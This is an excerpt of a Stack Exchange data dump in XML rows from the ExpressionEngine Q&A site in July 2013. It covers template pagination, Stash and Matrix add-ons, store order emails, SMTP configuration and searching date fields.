  <row Id="11789" PostTypeId="2" ParentId="11754" CreationDate="2013-07-09T09:12:59.963" Score="1" Body="&lt;p&gt;I had exactly this problems, and I used &lt;a href=&quot;https://github.com/iainurquhart/Nested-Entries&quot; rel=&quot;nofollow&quot;&gt;Nested Entries&lt;/a&gt; instead. Maybe this can help you too.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;country&quot;}&#xA;    {title}&#xA;    {exp:nested:prep_vars var_prefix=&quot;nested_&quot;}&#xA;        {exp:nested:entries channel=&quot;office&quot; dynamic=&quot;off&quot; search:cf_office_country=&quot;{title}&quot;}&#xA;            Office: {nested_title}&#xA;        {/exp:nested:entries}&#xA;    {/exp:nested:prep_vars}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1749" LastActivityDate="2013-07-09T09:12:59.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11790" PostTypeId="2" ParentId="11773" CreationDate="2013-07-09T10:06:32.513" Score="1" Body="&lt;p&gt;That add-on is now discontinued, I'm using v3 successfully though - you can find it in the &lt;a href=&quot;https://github.com/experience/dropdate.ee_addon/tree/develop&quot; rel=&quot;nofollow&quot;&gt;GitHub account&lt;/a&gt; under the Develop branch.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's a mention of array_merge in the errors (on my version of DropDate it's line 482 in _build_settings method), this tries to intersect array keys regarding settings. Try going to the settings for the fieldtype in EE backend to see if that updates anything, I get this message when I go there:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We lured you here under false pretences.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;There are no global settings, but ExpressionEngine won’t update a&#xA;  fieldtype unless you visit its global settings page. Obviously.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Just click the “Submit” button, and get back to your nice life where&#xA;  you don’t have to deal with this nonsense for a living.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;...So clearly it's done something...!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise, (on my version) display_var_tag calls replace_tag, so you could add a check on that:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function display_var_tag($var_data, Array $params, $tagdata)&#xA;{&#xA;    if (!is_array($params)) {&#xA;        return $this-&amp;gt;replace_tag($var_data);&#xA;    } else &#xA;        return $this-&amp;gt;replace_tag($var_data, $params);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="425" LastActivityDate="2013-07-09T10:06:32.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11791" PostTypeId="1" CreationDate="2013-07-09T11:07:17.920" Score="0" ViewCount="509" Body="&lt;p&gt;I have enough results for 2 pages, but my pagination links show 3 pages of results, the 3rd page being blank.  Also, the segment that should show the pagination page number (i.e. P1, P2) says P2 for the second page, and then jumps to P4 on the third page.  Anyone ever seen this before?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;message&quot; dynamic=&quot;no&quot; limit=&quot;2&quot; paginate=&quot;bottom&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields|member_data&quot;}&#xA;        {series_association}&#xA;        {if series_association:no_results}&#xA;        &amp;lt;ul class=&quot;message-list&quot;&amp;gt;&#xA;&#xA;            &amp;lt;li class=&quot;media-view&quot;&amp;gt;&#xA;            &amp;lt;h2&amp;gt;&amp;lt;u&amp;gt;&amp;lt;a href=&quot;{path=media/media-view/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/u&amp;gt; - &amp;lt;i&amp;gt;&amp;lt;h5 class=&quot;inline-header&quot;&amp;gt;{message_date format='%F %j, %Y'}&amp;lt;/h5&amp;gt;&amp;lt;/i&amp;gt;&amp;lt;/h2&amp;gt; &#xA;            &amp;lt;p&amp;gt;{message_summary}&amp;lt;/p&amp;gt;&#xA;            &amp;lt;/li&amp;gt;&#xA;        {/if}&#xA;&#xA;        {if &quot;{count}&quot; == &quot;{total_results}&quot;}&amp;lt;/ul&amp;gt;{/if}&#xA;        {/series_association}&#xA;        {paginate}&#xA;&#xA;            &amp;lt;br /&amp;gt;&amp;lt;p&amp;gt;Page {current_page} of {total_pages} pages {pagination_links}&amp;lt;/p&amp;gt;&#xA;&#xA;        {/paginate}&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="678" LastActivityDate="2013-07-12T07:54:43.427" Title="Pagination - blank pages and weird numbering" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11792" PostTypeId="2" ParentId="11759" CreationDate="2013-07-09T13:09:14.953" Score="3" Body="&lt;p&gt;The solution involved the following steps:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;set the $system_path in the index.php and admin.php to $system_path = '../../system';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;change a couple of lines in the config.master.php:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on line 93 add your directory name to the $base_url variable like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$base_url = $protocol . $_SERVER['HTTP_HOST'].'/my_subdirectory';&lt;/p&gt;&#xA;&#xA;&lt;p&gt;on line 94 add your directory name to the $base_path variable like so:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;$base_path = $_SERVER['DOCUMENT_ROOT'].'/my_subdirectory';&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;in case you use absolute path for your links in the site you will also have to do a find and replace for your href tags.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1336" LastEditorUserId="1336" LastEditDate="2013-09-24T00:08:19.960" LastActivityDate="2013-09-24T00:08:19.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11793" PostTypeId="2" ParentId="11791" CreationDate="2013-07-09T15:18:55.623" Score="1" Body="&lt;p&gt;The number jumping is dictated by the number of entries you're showing on the page.  You have two entries, and so they go up in 2s, i.e.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 1: Entries &lt;strong&gt;0&lt;/strong&gt; and 1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 2: Entries &lt;strong&gt;2&lt;/strong&gt; and 3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 3: Entries &lt;strong&gt;4&lt;/strong&gt; and 5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the blank page, the tag is paginating the channel entries returned from the channel entries tag.  If there are 5 entries in the channel, you'll get 5 entries back and so 3 pages in the case.  It doesn't look like you're outputting any content from the relationship, e.g. &lt;code&gt;{series_association:title}&lt;/code&gt;, only if there are no results from the relationship?&lt;/p&gt;&#xA;" OwnerUserId="900" LastActivityDate="2013-07-09T15:18:55.623" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="11794" PostTypeId="2" ParentId="11709" CreationDate="2013-07-09T15:40:57.807" Score="1" Body="&lt;p&gt;I would construct the filter/entry relationship differently to avoid nesting a channel entries loop inside the channel categories loop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;SOLUTION REQUIRES:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Pixel &amp;amp; Tonic's Playa add-on (http://docs.pixelandtonic.com/playa/)&#xA;Low's Seg2Cat add-on (http://gotolow.com/addons/low-seg2cat/docs)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;CHANNELS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;• Resources {resources}&#xA;• Brands {brands}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RESOURCE CATEGORY GROUP&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;• Resource Type&#xA;   - Downloads {downloads}&#xA;   - White Papers {white-papers}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;RESOURCE CUSTOM FIELDS&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;• Resource Asset {resource_asset}&#xA;• Resource Brand {resource_brand}&#xA;   - Type: Playa&#xA;   - Field Label: Brand&#xA;   - Field Short Name resource_brand&#xA;   - Is this a required field? YES&#xA;   - Allow multiple selections? NO&#xA;   - Show expired entries? YES|NO&#xA;   - Show future entries? YES|NO&#xA;   - Channels: Brand&#xA;   - Categories: Any&#xA;   - Authors: Any&#xA;   - Statuses: Open&#xA;   - Limit entries to: All&#xA;   - Order entries by: Entry Title in Ascending Order&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;TEMPLATE CODE&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://www.example.com/resources/downloads/&#xA;&#xA;{exp:channel:entries channel=&quot;brands&quot; dynamic=&quot;no&quot; disable=&quot;...&quot;}&#xA;    {if {exp:playa:total_parents} &amp;gt; 0}&#xA;&#xA;    &amp;lt;h1&amp;gt;{title}{if segment_2} &amp;gt; {segment_2_category_name}{/if}&amp;lt;/h1&amp;gt;&#xA;&#xA;    {exp:playa:parents channel=&quot;resources&quot; category=&quot;{segment_2_category_id}&quot;}&#xA;        &amp;lt;a href=&quot;{resource_asset}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;&#xA;    {/exp:playa:parents}&#xA;&#xA;    {/if}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have not tested the overhead for this solution, so I do not know how it would compare to the Stash solution above.&lt;/p&gt;&#xA;" OwnerUserId="40" LastEditorUserId="40" LastEditDate="2013-07-09T15:48:20.683" LastActivityDate="2013-07-09T15:48:20.683" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11795" PostTypeId="2" ParentId="9098" CreationDate="2013-07-09T16:41:32.610" Score="2" Body="&lt;p&gt;Matrix is smart enough to know one unique Matrix field from another. But, are you using template conditionals to do any display logic? If so, you might have the field tags for each unique field appearing more than once in the template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(If you are inadvertently initializing the same fields more than once, the JavaScript would be included more than once on the page, causing duplicate actions to occur on various events.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, something like...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_X}&#xA;  Edit entry #{segment_X}:&#xA;  {field:my_field_name}&#xA;{if:else}&#xA;  Add a new entry:&#xA;  {field:my_field_name}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;...could cause the sort of issue you're describing.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-07-09T16:41:32.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11796" PostTypeId="1" AcceptedAnswerId="11820" CreationDate="2013-07-09T16:48:50.163" Score="1" ViewCount="108" Body="&lt;p&gt;I'm trying to use Stash to replace {image_n} tags in the content fields, like also mentioned on:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://expressionengine.stackexchange.com/questions/3675/using-stash-to-replace-matrix-image-slugs&quot;&gt;using Stash to replace Matrix image slugs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/support/stash/viewthread/3013&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://devot-ee.com/add-ons/support/stash/viewthread/3013&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get that working just fine but when I try this on a page with multiple entries, the images simply show the same matrix images (of the first entry) and not different images per entry.&#xA;I'm assuming this is due to the images being saved as snippets, so I figured instead of that, adding a context to the stashed data would do the trick, but I just can't get it to work. Can anyone help me out? Here's what I have now:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:stash:set_list name=&quot;bloglist&quot; parse_tags=&quot;yes&quot; parse_depth=&quot;2&quot;}&#xA;    {exp:channel:entries channel=&quot;blog&quot; limit=&quot;5&quot;}&#xA;&#xA;        {stash:item_title}{title}{/stash:item_title}&#xA;        {stash:item_entry_id}{entry_id}{/stash:item_entry_id}{!-- For potential use as context --}&#xA;        {blog_images}&#xA;            {exp:stash:set name=&quot;image_{row_count}&quot; type=&quot;snippet&quot;}&#xA;                &amp;lt;img src=&quot;{image_file:url}&quot;&amp;gt;&#xA;            {/exp:stash:set}&#xA;        {/blog_images}&#xA;        {stash:item_body}{blog_body}{/stash:item_body}&#xA;&#xA;    {/exp:channel:entries}  &#xA;{/exp:stash:set_list}&#xA;&#xA;&#xA;{exp:stash:get_list name=&quot;bloglist&quot; parse_vars=&quot;yes&quot;}&#xA;&#xA;    &amp;lt;h1&amp;gt;{item_title}&amp;lt;/h1&amp;gt;&#xA;    {item_body}&#xA;&#xA;{/exp:stash:get_list}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1751" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-07-10T09:31:35.847" Title="Stash + Matrix slugs for multiple entries" Tags="|matrix|stash|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11797" PostTypeId="2" ParentId="11774" CreationDate="2013-07-09T16:55:00.733" Score="1" Body="&lt;p&gt;If each instance of the event is an entry, you might want to check out Solspace's &lt;a href=&quot;http://devot-ee.com/add-ons/date-field-filter&quot; rel=&quot;nofollow&quot;&gt;Date Field Filter&lt;/a&gt; - which allows you to map a custom date field as the field upon which you would like to effect EE's native date functionality (oddly, date fields other than the actual entry date field behave differently) and allows you to specify a dynamic start and end date/time for the range (or open ended, looking forward, which I think is what you would want). I've used it a bunch of times and it worked great for this sort of thing.  You could map your date field as your end date (so that an event that isn't yet over still displays) and do a simple comparison of your custom end time field against current_time to be able to flag an event as &quot;going on now&quot;&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-07-09T16:55:00.733" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11798" PostTypeId="2" ParentId="11702" CreationDate="2013-07-09T16:55:22.993" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/assets&quot; rel=&quot;nofollow&quot;&gt;Assets&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/channel-images&quot; rel=&quot;nofollow&quot;&gt;Channel Images&lt;/a&gt; both automatically prevent file-name collisions on upload, and both are Safecracker compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For privacy, you can obfuscate the name (and even make it time-sensitive) using Channel Images' &lt;a href=&quot;http://www.devdemon.com/docs/channel_images/tags/images.html#image-locked-url&quot; rel=&quot;nofollow&quot;&gt;Locked URL&lt;/a&gt; tags (only for files in Channel Images), or using the &lt;a href=&quot;http://devot-ee.com/add-ons/link-vault&quot; rel=&quot;nofollow&quot;&gt;Link Vault&lt;/a&gt; plugin (for any file, anywhere).&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2013-07-09T16:55:22.993" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11799" PostTypeId="2" ParentId="11702" CreationDate="2013-07-09T18:35:24.250" Score="2" Body="&lt;p&gt;Photo Frame does this, and much much more. You can define any filename format you want. It works within Safecracker and is compatible with Matrix and Assets.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sample Filename Format:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{random_string}-{height}-{width}.{extension}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So this would generate a file called, &quot;s2f4leQs-450-250.png&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://objectivehtml.com/photo-frame&quot; rel=&quot;nofollow&quot;&gt;https://objectivehtml.com/photo-frame&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-07-09T18:35:24.250" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11800" PostTypeId="1" CreationDate="2013-07-09T18:43:44.743" Score="1" ViewCount="52" Body="&lt;p&gt;I have a client that I am implementing Exp:resso Store for. The client does not keep the items for in stock but rather orders them directly from the supplier once an order is placed and the supplier ships directly to the customer. Does anyone know if Exp:resso Store has such a capability to send order confirmations to the supplier once the customer has placed the order and payment is confirmed? This capability would also need to be able to bundle all items from an order to a single supplier if it so happens as client wouldn't want the supplier to get multiple requests for the same order.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="1752" LastEditorUserId="268" LastEditDate="2013-07-30T10:15:55.617" LastActivityDate="2013-07-30T10:15:55.617" Title="Exp:resso Store Send Orders to Supplier" Tags="|expresso-store|add-on|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11801" PostTypeId="1" CreationDate="2013-07-09T18:59:51.250" Score="1" ViewCount="106" Body="&lt;p&gt;I have a client that has an (I think) odd request: I know there are modules like Social Login Pro that connect someone's Facebook / LinkedIn to a member account, but what my client wants to do is:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Allow users to submit &quot;tips&quot;. To submit a tip, you don't need to register, you just enter your tip, after which you're prompted to either &quot;enter your personal information yourself&quot; or &quot;use your linkedin profile&quot;. This should be stored with the entry, not in a member-profile, and people should be allowed to submit multiple tips. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;How would this even work OAuth-wise? Are you allowed to request someone's personal info again? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any input would be greatly appreciated!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="195" LastActivityDate="2013-09-12T07:40:55.037" Title="LinkedIn / OAuth question" Tags="|safecracker|twitter|social|oauth|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11802" PostTypeId="2" ParentId="11800" CreationDate="2013-07-09T19:07:54.047" Score="1" Body="&lt;p&gt;It should be possible, I am going to explain a bit of what happens to help clarify.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Emails are linked and sent out based upon order status. &lt;/li&gt;&#xA;&lt;li&gt;Orders can transition through multiple order status and therefor send out multiple emails. - By default Store creates an order status of &quot;New&quot; and sets that as the default order status. &lt;/li&gt;&#xA;&lt;li&gt;There is also a generic email template that is created and linked to the status of &quot;New&quot;.&lt;/li&gt;&#xA;&lt;li&gt;When the user places the order and has a valid payment the order is considered complete and the default status is applied to the order and the linked email is sent out.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So if you wanted your supplier to know that the user has placed an order you can set them up as a BCC recipient in the email template settings for the email template that you have linked to the default status.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-09T19:07:54.047" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="11803" PostTypeId="2" ParentId="11791" CreationDate="2013-07-09T19:29:26.977" Score="1" Body="&lt;p&gt;As Dave has mentioned the number that you see in the URL (PXXX) does not have a correlation to the page that you are on in the sense that you think. In your example you have a limit of 2 entries per page so that is why you are seeing the number after P increment by 2 for each page. If you were to navigate to the second page then click the link back to the first page of entries you would see &quot;P0&quot; in the URL.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The number after P tells EE to offset the entries in the loop by that number. So in your example&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 1: Entries 1 and 2 - URL Value: P0 - Offset Value: 0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 2: Entries 3 and 4 - URL Value: P2 - Offset Value: 2&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Page 3: Entries 5 and 6 - URL Value: P4 - Offset Value: 4&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically for page 2 of your results EE is automatically replacing this opening channel entires tag (notice the offset parameter being added)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;message&quot; dynamic=&quot;no&quot; limit=&quot;2&quot; offset=&quot;2&quot; orderby=&quot;date&quot; sort=&quot;desc&quot; disable=&quot;categories|category_fields|member_data&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="115" LastEditorUserId="115" LastEditDate="2013-07-12T07:54:43.427" LastActivityDate="2013-07-12T07:54:43.427" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11804" PostTypeId="2" ParentId="11785" CreationDate="2013-07-09T19:36:58.620" Score="2" Body="&lt;p&gt;Checkout &lt;a href=&quot;http://devot-ee.com/add-ons/publisher&quot; rel=&quot;nofollow&quot;&gt;Publisher&lt;/a&gt; or &lt;a href=&quot;http://devot-ee.com/add-ons/publisher-lite&quot; rel=&quot;nofollow&quot;&gt;Publisher Lite&lt;/a&gt; by Brian Litzinger. I have been using Publisher since the beta release without problems. &lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-07-09T19:36:58.620" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11805" PostTypeId="2" ParentId="11670" CreationDate="2013-07-09T20:04:13.507" Score="1" Body="&lt;p&gt;Apparently the issue was that the images were larger than the server allowed.  This meant that the imagesizer couldn't even access them since the server would intercept the request and deny it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks to AllInOne for your suggestions.&lt;/p&gt;&#xA;" OwnerUserId="1681" LastEditorUserId="1681" LastEditDate="2013-07-09T20:43:48.740" LastActivityDate="2013-07-09T20:43:48.740" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11806" PostTypeId="1" CreationDate="2013-07-09T20:51:08.230" Score="1" ViewCount="164" Body="&lt;p&gt;Is there any reason why Store might not be logging transactions with Google Analytics apart from JS being disabled/unavailable? We have some orders not showing up in GA and the client is keen on identifying the underlying cause.&lt;/p&gt;&#xA;" OwnerUserId="333" LastActivityDate="2013-07-10T11:24:34.963" Title="Store/Google Analytics transactions discrepancy" Tags="|expresso-store|analytics|google|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="11807" PostTypeId="2" ParentId="333" CreationDate="2013-07-09T22:41:47.370" Score="1" Body="&lt;p&gt;I don't know if this will work for you or not, but I was able to set up Google smtp over TLS with a few additions to the config:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&#xA;$env_conf['mail_protocol']    = 'smtp';&#xA;$env_conf['smtp_server']      = 'tls://smtp.gmail.com:XXX';    // Use :XXX to set the port number.&#xA;$env_conf['smtp_username']    = 'xxx@xxx.xxx';&#xA;$env_conf['smtp_password']    = 'xxx';&#xA;$env_conf['email_newline']    = &quot;\r\n&quot;;&#xA;$env_conf['email_crlf']       = &quot;\r\n&quot;;&#xA;$config['smtp_port'] = &quot;xxx&quot;; //replace with your port number&#xA;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In my particular case I just added the last 3 to a config bootstrap and set up the rest through the cpanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most of this came from this Gist &lt;a href=&quot;https://gist.github.com/experience/2557044&quot; rel=&quot;nofollow&quot;&gt;https://gist.github.com/experience/2557044&lt;/a&gt; and the EE hidden config vars docs: &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#smtp-port&quot; rel=&quot;nofollow&quot;&gt;http://ellislab.com/expressionengine/user-guide/general/hidden_configuration_variables.html#smtp-port&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully that works for someone :)&lt;/p&gt;&#xA;" OwnerUserId="1753" LastActivityDate="2013-07-09T22:41:47.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="11808" PostTypeId="1" CreationDate="2013-07-10T01:24:01.373" Score="0" ViewCount="319" Body="&lt;p&gt;I have a long list of entries where I'd like to plot a postcode into a Google Maps for ExpressionEngine field using a SafeCracker form. I had a semi-automated script/page that did this for me last year - it used JS to pre-fill the location field with a postcode, plotted the location on the map, then submitted the form automatically after a short delay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This worked fine in EE 2.4.0 and Google Maps for EE 3.0.16, but when I just copied the same code into a newer site (using EE 2.5.5 and Google Maps for EE 3.3.1), it didn't work properly. The field populated okay with the postcode, and the point was plotted on the map okay, but when the automated submit was triggered, the point didn't save on the map (but the longitude and latitude fields did save). When I viewed the source, the Google Maps for EE field had a value in its textarea of 'false', rather than a array of mapping information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I click the submit button before it triggers automatically, it also doesn't save the mapping information in the map field. However, if I go to the form manually (without using this JS automation), I can plot points on the map and save the form manually without any issues. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on why this isn't working?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The URL I'm using looks like this: mysite.com/extranet/geocoder/plot/28773/SW1A%202AA/automatic&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code, and thanks for any advice.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:safecracker channel=&quot;event&quot; include_jquery=&quot;no&quot; datepicker=&quot;no&quot; class=&quot;extranet-form&quot; return=&quot;/extranet/geocoder/plot/{segment_4}/{segment_5}/manual/saved&quot; entry_id=&quot;{segment_4}&quot;}&#xA;&#xA;  &amp;lt;div class=&quot;highlight&quot;&amp;gt;&#xA;&#xA;    {field:cf_event_map_location}&#xA;&#xA;  &amp;lt;/div&amp;gt;&amp;lt;!--highlight--&amp;gt;&#xA;&#xA;  &amp;lt;input name=&quot;cf_event_map_latitude&quot; type=&quot;hidden&quot; value=&quot;{cf_event_map_latitude}&quot; /&amp;gt;&#xA;  &amp;lt;input name=&quot;cf_event_map_longitude&quot; type=&quot;hidden&quot; value=&quot;{cf_event_map_longitude}&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;text&quot; name=&quot;postcode_prepopulate&quot; value=&quot;{segment_5}&quot; /&amp;gt;&#xA;  &amp;lt;input type=&quot;submit&quot; value=&quot;Submit Location&quot; id=&quot;submit&quot; class=&quot;button&quot; /&amp;gt;&#xA;&#xA;{/exp:safecracker}&#xA;&#xA;{if segment_6 == &quot;automatic&quot;}&#xA;  &amp;lt;script&amp;gt;&#xA;    $(function() {&#xA;      $('#gmap_geocoder').val($('input[name=postcode_prepopulate]').val().replace('%20', ' '));&#xA;      $('.geocoder button').trigger('click');&#xA;      setTimeout(function() {&#xA;        $('input#submit').trigger('click');&#xA;      }, 10000);&#xA;    });&#xA;  &amp;lt;/script&amp;gt;&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-07-10T01:24:01.373" Title="Trying to auto-plot and submit points to a Google Maps for EE SafeCracker field" Tags="|safecracker|javascript|google-maps-for-ee|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="11809" PostTypeId="1" AcceptedAnswerId="11819" CreationDate="2013-07-10T02:38:05.887" Score="0" ViewCount="104" Body="&lt;p&gt;I would just like to know how Date fields are searched.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to do this, I want to know in what format should I search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I search datetime as a timestamp? as a string?&lt;/p&gt;&#xA;" OwnerUserId="636" LastActivityDate="2013-07-10T09:29:27.370" Title="Low Search - How to search fields with Date fieldtypes" Tags="|low-search|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11810" PostTypeId="2" ParentId="11809" CreationDate="2013-07-10T02:45:41.497" Score="0" Body="&lt;p&gt;Low Search automatically detect the date field. You should search the date in the format of yyyy-mm-dd (like 2012-01-01).&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-07-10T02:45:41.497" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="11811" PostTypeId="2" ParentId="11785" CreationDate="2013-07-10T03:24:50.730" Score="1" Body="&lt;p&gt;I've used Edit Alarm in the past with pretty good results. I didn't use it with Zoo Admin, so I'm not sure if this is the same add-on you're referring to, but it's free and will likely do what you need with very little footprint. If you want more advanced features, I would also go with Justin's recommendation of Publisher.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://devot-ee.com/add-ons/edit-alarm&quot; rel=&quot;nofollow&quot;&gt;http://devot-ee.com/add-ons/edit-alarm&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-07-10T03:24:50.730" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="11812" PostTypeId="2" ParentId="11643" CreationDate="2013-07-10T03:35:03.940" Score="2" Body="&lt;p&gt;Try uploading using the native File module and verify that the directory is in fact writable by EE. &lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-07-10T03:35:03.940" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
